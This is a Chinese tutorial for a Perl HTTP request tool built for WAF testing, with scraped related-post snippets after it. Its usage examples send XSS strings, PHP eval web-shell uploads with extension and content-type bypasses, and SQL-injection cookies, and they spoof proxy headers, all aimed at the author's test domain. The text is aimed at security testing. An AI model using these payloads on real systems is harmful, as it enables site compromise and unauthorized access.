通过HTTP发包工具了解HTTP协议
use URI;
use URI::Split qw(uri_split uri_join);
use URI::Escape;
(2)HTTP协议相关部分:构造请求,发送请求,及解析响应
use LWP::UserAgent;
use HTTP::Headers;
use HTTP::Cookies;
use HTTP::Request::Common;
git clone https://github.com/tanjiti/WAFTest
cpan App::cpanminus
cat requirePackage.txt | cpanm
perl HTTP.pl --help
-help 帮助选项
-url 'http://xxxx.xx.com' HTTP请求的URL
-m|method GET|POST|HEAD HTTP请求方法,默认为GET方法
-H|header X-Forwarded-For='127.0.0.1, 127.0.0.2' -H Via='Squid' HTTP请求头
-cookie usertrack='123456' -b hit=1 HTTP cookie
-d|data name='tanjiti' -d passwd=12345 HTTP 查询字符串/post表单数据
-A|user-agent 'baiduspider' HTTP UserAgent,默认值 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0
-e|referer 'http://www.baidu.com' HTTP Referer
-proxy 'http://64.34.14.28:7808' 代理,支持https,http,socks代理
-t|timeout 180 请求超时时间,默认值180s
-L|redirect 7 重定向次数,默认值7次
-F|fileUpload 表明本次请求为文件上传
-fileFiled 'uploaded' 文件域name
-filePath '/tmp/a.jpeg' 本地文件路径
-fileName 'a.php' 上传文件名
-fileContent '<?php eval($_POST[a]);?>' 上传文件内容
-fileType 'image/jpeg' 上传文件类型
-s|silent : 隐藏http完整内容,只显示http响应消息
-r|raw : 表明采用未进行urlencode编码的方式提交post数据
-basicAuth : 表明此次请求为HTTP基本认证
-username tanjiti 基本认证用户名
-password 12345 基本认证密码
./HTTP.pl -url http://www.tanjiti.com/redirect.php -L 0
./HTTP.pl -url http://www.tanjiti.com/redirect.php -L 1
-username tanjiti 基本认证用户名
-password 12345 基本认证密码
./HTTP.pl -url http://www.tanjiti.com/xxx/
./HTTP.pl -url http://www.tanjiti.com/xxx/ -basicAuth -username tanjiti -password q
./HTTP.pl -url http://www.tanjiti.com/get.php -d keyword='name<script>alert(1)</script>' -d submit='submit'
选项
-d 提交数据
-method 指定HTTP请求方法
-raw 是否进行urlencode编码
(1)提交urlencode编码
./HTTP.pl -url http://www.tanjiti.com/get.php -d keyword='name<script>alert(1)</script>' -d submit='submit' -method post
./HTTP.pl -url http://www.tanjiti.com/get.php -d keyword='name<script>alert(1)</script>' -d submit='submit' -method post -raw
-fileFiled 'uploaded' 文件域name
-filePath '/tmp/a.jpeg' 本地文件路径
-fileName 'a.php' 上传文件名
-fileContent '<?php eval($_POST[a]);?>' 上传文件内容
-fileType 'image/jpeg' 上传文件类型
(1)上传本地文件到服务器
./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/phpinfo.php"
上传jpeg图片文件
./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/king.jpeg"
./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -filePath "/tmp/phpinfo.php" -fileName '1.jpg .php' -fileType 'image/jpeg'
./HTTP.pl -url http://www.tanjiti.com/fileUpload.php -fileUpload -fileFiled uploaded -d upload=upload -fileName 'avator.jpeg' -fileType 'image/jpeg' -fileContent '<?php @eval($_POST[a]);?>'
选项
-cookie
./HTTP.pl -url http://www.tanjiti.com/a.php -cookie username="tanjiti' or ''= '' -- " -cookie password='1 or 1=1 --'
User-Agent 脚本中默认为 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0
Referer 用户是从这个页面上依照链接跳转过来的
Host
Accept 告知服务器发送何种媒体类型,脚本中默认为text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Charset e.g. utf-8 告知服务器发送何种字符集
Accept-Encoding 告知服务器采用何种编码,脚本中默认为gzip,deflate,sdch
Accept-Language 告知服务器采用何种语言,脚本中默认为 zh-CN,zh;q=0.8,en;q=0.6
X_Forwarded_For 经过的客户端IP地址
Via 代理服务器标识
(1) 指定UserAgent
选项
-A 或者-user-agent
./HTTP.pl -url http://www.tanjiti.com -A 'tanjiti'
(2)指定referer
选项
-e 或者-referer
./HTTP.pl -url http://www.tanjiti.com -e 'http://www.google.com'
(3)指定HTTP头
./HTTP.pl -url http://127.0.0.1 -H Accept='*/*' -H Accept-Charset='utf-8' -H Accept-Encoding='identity' -H Accept-Language='zh-CN,zh;q=0.8,en;q=0.6' -H Host='www.tanjiti.com' -H Via='1.0 tanjiit.com(squid 0.54)' -H X-Forwarded-For='129.78.138.66, 129.78.64.103'
./HTTP.pl -url http://www.tanjiti.com -proxy http://61.158.219.226:8118
(2) 使用tor/socks代理
./HTTP.pl -url http://www.tanjiti.com -proxy socks://127.0.0.1:9050
./HTTP.pl -url http://www.tanjiti.com -proxy socks://180.153.139.246:8888
./HTTP.pl -url http://www.tanjiti.com/a.php -s
(2)指定请求超时时间,默认为180s
./HTTP.pl -url http://www.tanjiti.com/ -t 20
四、HTTPFromFile.pl
echo -ne 'GET /?a=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1\r\nHost: www.tanjiti.com\r\nUserAgent: curl 0.9\r\n' > xss.t
perl HTTPFromFile.pl -code 403 -host www.tanjiti.com -port 80 -file xss.t
选项说明:
perl HTTPFromFile.pl -host www.tanjiti.com -dir ~/WAFTest/t
-dir 指定存放请求包内容的文件目录
原文地址:http://danqingdani.blog.163.com/blog/static/18609419520144202591392/
转载于:https://www.cnblogs.com/milantgh/p/4280989.html
通过HTTP发包工具了解HTTP协议相关推荐
- udp发包工具_利用nginx的第四层协议stream模块实现UDP端口的负载均衡
1.服务 Nginx1.9以上版本 UDP 服务 1:8011 UDP 服务 2:8012 2.Nginx 配置 编译安装参数:--with-stream stream 模块主要配 ...
- 基于scapy实现随机源IP的DNS发包工具
介绍 在DNS系统运维工作中,我们通常会希望能测试不同的源IP下DNS解析结果的应答情况,进而评估智能DNS的实现情况或者做DNS数据分析等. 本文介绍在python2.7环境下使用scapy模块实现 ...
- 数据包发包工具bittwist
数据包发包工具bittwist 渗透测试中,通过发送特定格式的包,可以实施网络嗅探和攻击.Kali Linux提供一款发包工具bittwist.该工具可以通过指定的网络接口发送数据.该工具不仅可以设置 ...
- linux内核发包工具,Linux内核发包工具pktgen测试方案说明
简介 pktgen是Linux内核里包含的一个高性能发包工具,主要用来测试网络性能.一般情况下,使用pktgen就可以满足千兆网卡的测试需要. pktgen运行在"内核态",并不占 ...
- 手机发包工具_【发包工具】http多线程发包工具
[发包工具]http多线程发包工具 使用方法:输入地址,发送的内容,线程数,等待时间,每个线程发送的次数,GET/POST请求. 源代码 package com.xmxkkk.httptest; im ...
- Unity一键发包工具
如果你的游戏项目只有一个版本或渠道维护,那可能对一键发包的需要不是很大,但是如果需要从一个项目工程发布不同渠道版本包时,最好是搞个一键发包工具,全自动化,只需在发包窗口做一些必要设置如版本号,目标平台 ...
- android 软电话 开发包-JNI 封装 SIP 协议,可进行二次开发应用于VOIP
android 软电话 开发包-JNI 封装 SIP 协议,可进行二次开发应用于VOIP 该开发包为android平台下的JNI开发包,符合标准SIP协议,支持G729语音编码. 下载地址:源代码地址 ...
- dpdk pktgen发包工具使用
(免费订阅,永久学习)学习地址: Dpdk/网络协议栈/vpp/OvS/DDos/NFV/虚拟化/高性能专家-学习视频教程-腾讯课堂 更多DPDK相关学习资料有需要的可以自行报名学习,免费订阅,永久学 ...
- PC上最快的发包工具
昨天做了个实验,测试了三种发包方式所能达到的最快速度.测试平台是一台双至强.1G内存的服务器,操作系统为Linux,内核版本2.6.15.3,网卡为Intel e1000光口网卡.使用一台smartb ...
最新文章
- 基于OpenCV的透视图转化为不同平面
- 很多人都不知道学了c/c++到底能做什么?让大牛来告诉你............
- α测试,Beta测试
- 解决$ is not define
- mysql哨兵机制_Redis 哨兵机制以及底层原理深入解析,这次终于搞清楚了
- 简单的制作一个动态链接库(DLL)
- iOS开发UI篇—IOS开发中Xcode的一些使用技巧
- 冒泡排序,插入排序--- PYTHON
- java获取jsp页面下拉列表框_jQuery+jsp下拉框联动获取本地数据的方法(附源码)
- 如何改计算机二级照片大小,怎么修改照片大小内存,尺寸
- switch交换的vlan三种模式详解
- 《请君入瓮——APT攻防指南之兵不厌诈》—第8章8.5节安全贵在未雨绸缪
- DC-DC升压芯片MP9185
- 数字签名、电子签名与电子合同
- VRF-Virtual Routing Forwarding
- 九校联考-绵阳东辰国际NOIP模拟总结
- Handlebars的使用方法文档整理(Handlebars.js)
- Go语言 rand(随机数)包
- 【君思智慧园区】产业园区运营服务的创新模式
- 程序员常见英文缩写及其意义
热门文章
- python【力扣LeetCode算法题库】892-三维形体的表面积
- python连接mongo_Python连接MongoDB操作
- educoder 使用线程锁(lock)实现线程同步_性能:Lock的锁之优化
- java exec 调用vbs_通过java调用VBS,再用VBS执行Excel中的宏的例子 | 学步园
- @Data 注解对类静态字段, 无效
- 如何网络推广浅析网站优化的过程中首页降权了该怎么办?
- 网站推广专员浅析网站建设实用技巧助力网站推广优化
- 门户网站建设与运营需要付出更多成本
- 浅析如何扩大企业网站营销利益
- 闭包函数python_Python--函数对象闭包函数